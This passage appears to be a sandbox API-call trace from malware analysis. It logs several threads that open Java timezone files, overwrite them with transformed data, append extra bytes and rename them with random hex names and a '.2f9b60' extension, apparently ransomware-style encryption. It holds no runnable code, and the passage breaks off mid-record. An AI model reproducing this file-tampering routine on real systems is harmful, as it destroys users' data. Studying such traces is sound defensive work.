0x1cd9dd90 [0201.691] wcscat (in: _Dest=0x43107b60, _Source="8d42d77d1e" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\8d42d77d1e") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\8d42d77d1e" [0201.691] wcscat (in: _Dest=0x43107b60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\8d42d77d1e.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\8d42d77d1e.2f9b60" [0201.691] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\8d42d77d1e.2f9b60", NtPathName=0x46ebfc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\8d42d77d1e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431a79b0 Thread: id = 3254 os_tid = 0x12bc [0169.555] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+1")) returned 0x20 [0169.557] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1", dwFileAttributes=0x20) returned 1 [0177.064] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+1"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3020 [0178.628] GetFileSizeEx (in: hFile=0x3020, lpFileSize=0x53d9f6a0 | out: lpFileSize=0x53d9f6a0*=27) returned 1 [0178.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4f10 [0178.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4f70 [0178.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4dc0 [0178.629] NtQuerySystemTime (in: CurrentTime=0x53d9f560 | out: CurrentTime=0x53d9f560*=132462177837286000) returned 0x0 [0178.629] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x46f1fe45 [0178.629] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x494e833 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x7385d10c [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x4aaf84b5 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x1153f473 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x7587e91b [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x419f546d [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x4f3586f8 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x58902e17 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x34e84b6b [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x3dae36df [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x141608c8 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x1fb5ed63 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x6523b243 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x4731b9f6 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x63bd9a64 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0xc594bfb [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x3fbed6a4 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x561285d8 [0178.630] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0xce3fdc5 [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x107d76d4 [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x186eb28e [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x706ba0bb [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x6cae1a4b [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x5bfd165d [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x1b2b3f30 [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x4b1d3752 [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0xb9fbd0d [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x197a2497 [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x24971428 [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0xb5b1051 [0178.631] RtlRandomEx (in: Seed=0x53d9f550 | out: Seed=0x53d9f550) returned 0x68c1a19c [0178.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4e20 [0178.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060a30 [0178.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4df0 [0178.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060a30) returned 1 [0178.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4dc0) returned 1 [0178.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4f10) returned 1 [0178.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97cb0 [0178.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060a30 [0178.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4f10 [0178.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4f10) returned 1 [0178.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2044a6d0 [0178.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ee1150 [0178.648] ReadFile (in: hFile=0x3020, lpBuffer=0x2044a6d0, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x53d9f550, lpOverlapped=0x0 | out: lpBuffer=0x2044a6d0*, lpNumberOfBytesRead=0x53d9f550*=0x1b, lpOverlapped=0x0) returned 1 [0181.835] SetFilePointerEx (in: hFile=0x3020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.835] WriteFile (in: hFile=0x3020, lpBuffer=0x42ee1150*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x53d9f554, lpOverlapped=0x0 | out: lpBuffer=0x42ee1150*, lpNumberOfBytesWritten=0x53d9f554*=0x1b, lpOverlapped=0x0) returned 1 [0189.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137060 [0189.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137090 [0189.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137090) returned 1 [0189.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ee1150) returned 1 [0189.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044a6d0) returned 1 [0189.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060a30) returned 1 [0189.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0189.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eea0 [0189.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97cb0 [0189.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060a30 [0189.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137090 [0189.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137090) returned 1 [0189.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eec0 [0189.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137090 [0189.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431370c0 [0189.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431370c0) returned 1 [0189.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060a30) returned 1 [0189.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0189.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x42c0c7a0 [0189.929] SetFilePointerEx (in: hFile=0x3020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0189.929] WriteFile (in: hFile=0x3020, lpBuffer=0x42c0c7a0*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x53d9f670, lpOverlapped=0x0 | out: lpBuffer=0x42c0c7a0*, lpNumberOfBytesWritten=0x53d9f670*=0xfc, lpOverlapped=0x0) returned 1 [0202.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a5b0 [0202.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a46a0 [0202.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a46a0) returned 1 [0202.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x42c0f020 [0202.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a46a0 [0202.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a46d0 [0202.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a46d0) returned 1 [0202.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a5b0) returned 1 [0202.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x15) returned 0x42c0f040 [0202.596] sprintf (in: _Dest=0x42c0f040, _Format="%c%c" | out: _Dest="ba") returned 2 [0202.597] sprintf (in: _Dest=0x42c0f042, _Format="%c%c" | out: _Dest="08") returned 2 [0202.597] sprintf (in: _Dest=0x42c0f044, _Format="%c%c" | out: _Dest="d6") returned 2 [0202.597] sprintf (in: _Dest=0x42c0f046, _Format="%c%c" | out: _Dest="36") returned 2 [0202.597] sprintf (in: _Dest=0x42c0f048, _Format="%c%c" | out: _Dest="d7") returned 2 [0202.597] sprintf (in: _Dest=0x42c0f04a, _Format="%c%c" | out: _Dest="c2") returned 2 [0202.597] sprintf (in: _Dest=0x42c0f04c, _Format="%c%c" | out: _Dest="ad") returned 2 [0202.597] sprintf (in: _Dest=0x42c0f04e, _Format="%c%c" | out: _Dest="91") returned 2 [0202.597] sprintf (in: _Dest=0x42c0f050, _Format="%c%c" | out: _Dest="58") returned 2 [0202.597] sprintf (in: _Dest=0x42c0f052, _Format="%c%c" | out: _Dest="28") returned 2 [0202.597] RtlInitAnsiString (in: DestinationString=0x53d9f6e8, SourceString="ba08d636d7c2ad915828" | out: DestinationString="ba08d636d7c2ad915828") [0202.597] RtlAnsiStringToUnicodeString (in: DestinationString=0x53d9f6b8, SourceString="ba08d636d7c2ad915828", AllocateDestinationString=1 | out: DestinationString="ba08d636d7c2ad915828") returned 0x0 [0202.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d1f0 [0202.598] wcscat (in: _Dest=0x1ce5a5b0, _Source="ba08d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\ba08d") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\ba08d" [0202.598] wcscat (in: _Dest=0x1ce5a5b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\ba08d.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\ba08d.2f9b60" [0202.598] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\ba08d.2f9b60", NtPathName=0x53d9f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\ba08d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4319d760 Thread: id = 3256 os_tid = 0x12c4 [0169.560] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+11")) returned 0x20 [0169.560] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11", dwFileAttributes=0x20) returned 1 [0177.036] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+11"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3050 [0178.895] GetFileSizeEx (in: hFile=0x3050, lpFileSize=0x51bafa40 | out: lpFileSize=0x51bafa40*=27) returned 1 [0178.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0a70 [0178.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a49a0 [0178.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4940 [0178.896] NtQuerySystemTime (in: CurrentTime=0x51baf900 | out: CurrentTime=0x51baf900*=132462177839938000) returned 0x0 [0178.896] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x3ad5d21f [0178.896] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x46bb908a [0178.896] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x8128a4 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x54593db3 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x3a2a6f1f [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x69042f8d [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x713ced2 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x3aaaf95f [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0xe9a3fe4 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x2095e744 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x1990b03e [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x16b487d0 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x72d9e214 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x6253202a [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x562f357 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x3b8d5243 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x15745118 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x5880c731 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x53306057 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x513bfe25 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x15a3059e [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x7d7459a6 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x1d093809 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x52a8531f [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x7ffd9796 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x3ed330b9 [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x4d1ede8f [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x28cd377a [0178.897] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x7c5ff54 [0178.898] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x7e1786ce [0178.898] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0xcf5f871 [0178.898] RtlRandomEx (in: Seed=0x51baf8f0 | out: Seed=0x51baf8f0) returned 0x79a463cb [0178.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a48e0 [0178.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb95e0 [0178.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4910 [0178.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb95e0) returned 1 [0178.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4940) returned 1 [0178.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0a70) returned 1 [0178.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce620f0 [0178.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb95e0 [0178.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0a70 [0178.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0a70) returned 1 [0178.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f28970 [0178.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f2c580 [0178.915] ReadFile (in: hFile=0x3050, lpBuffer=0x42f28970, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x51baf8f0, lpOverlapped=0x0 | out: lpBuffer=0x42f28970*, lpNumberOfBytesRead=0x51baf8f0*=0x1b, lpOverlapped=0x0) returned 1 [0181.854] SetFilePointerEx (in: hFile=0x3050, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.854] WriteFile (in: hFile=0x3050, lpBuffer=0x42f2c580*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x51baf8f4, lpOverlapped=0x0 | out: lpBuffer=0x42f2c580*, lpNumberOfBytesWritten=0x51baf8f4*=0x1b, lpOverlapped=0x0) returned 1 [0190.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137de0 [0190.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137e10 [0190.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137e10) returned 1 [0190.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f2c580) returned 1 [0190.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f28970) returned 1 [0190.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb95e0) returned 1 [0190.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce620f0) returned 1 [0190.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x43137e10 [0190.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce620f0 [0190.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb95e0 [0190.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137e40 [0190.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137e40) returned 1 [0190.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x43137e40 [0190.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137e70 [0190.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137ea0 [0190.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137ea0) returned 1 [0190.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb95e0) returned 1 [0190.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce620f0) returned 1 [0190.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x4315dd70 [0190.109] SetFilePointerEx (in: hFile=0x3050, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0190.109] WriteFile (in: hFile=0x3050, lpBuffer=0x4315dd70*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x51bafa10, lpOverlapped=0x0 | out: lpBuffer=0x4315dd70*, lpNumberOfBytesWritten=0x51bafa10*=0xfe, lpOverlapped=0x0) returned 1 [0201.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0201.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b900 [0201.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b900) returned 1 [0201.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x431f8740 [0201.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b900 [0201.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b8d0 [0201.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b8d0) returned 1 [0201.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0201.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x42c1b8d0 [0201.696] sprintf (in: _Dest=0x42c1b8d0, _Format="%c%c" | out: _Dest="f4") returned 2 [0201.696] sprintf (in: _Dest=0x42c1b8d2, _Format="%c%c" | out: _Dest="96") returned 2 [0201.696] sprintf (in: _Dest=0x42c1b8d4, _Format="%c%c" | out: _Dest="42") returned 2 [0201.696] sprintf (in: _Dest=0x42c1b8d6, _Format="%c%c" | out: _Dest="b6") returned 2 [0201.696] sprintf (in: _Dest=0x42c1b8d8, _Format="%c%c" | out: _Dest="90") returned 2 [0201.696] sprintf (in: _Dest=0x42c1b8da, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.696] sprintf (in: _Dest=0x42c1b8dc, _Format="%c%c" | out: _Dest="30") returned 2 [0201.696] sprintf (in: _Dest=0x42c1b8de, _Format="%c%c" | out: _Dest="51") returned 2 [0201.696] sprintf (in: _Dest=0x42c1b8e0, _Format="%c%c" | out: _Dest="37") returned 2 [0201.696] sprintf (in: _Dest=0x42c1b8e2, _Format="%c%c" | out: _Dest="a4") returned 2 [0201.696] sprintf (in: _Dest=0x42c1b8e4, _Format="%c%c" | out: _Dest="55") returned 2 [0201.696] sprintf (in: _Dest=0x42c1b8e6, _Format="%c%c" | out: _Dest="0f") returned 2 [0201.697] RtlInitAnsiString (in: DestinationString=0x51bafa88, SourceString="f49642b690cd305137a4550f" | out: DestinationString="f49642b690cd305137a4550f") [0201.697] RtlAnsiStringToUnicodeString (in: DestinationString=0x51bafa58, SourceString="f49642b690cd305137a4550f", AllocateDestinationString=1 | out: DestinationString="f49642b690cd305137a4550f") returned 0x0 [0201.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1ce5e0b0 [0201.697] wcscat (in: _Dest=0x1b85ed90, _Source="f49642" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\f49642") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\f49642" [0201.697] wcscat (in: _Dest=0x1b85ed90, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\f49642.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\f49642.2f9b60" [0201.697] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\f49642.2f9b60", NtPathName=0x51bafa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\f49642.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43197620 Thread: id = 3264 os_tid = 0x12e8 [0169.611] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+8")) returned 0x20 [0169.612] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8", dwFileAttributes=0x20) returned 1 [0177.034] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+8"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3068 [0179.025] GetFileSizeEx (in: hFile=0x3068, lpFileSize=0x5455f6c0 | out: lpFileSize=0x5455f6c0*=27) returned 1 [0179.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0a70 [0179.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4610 [0179.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 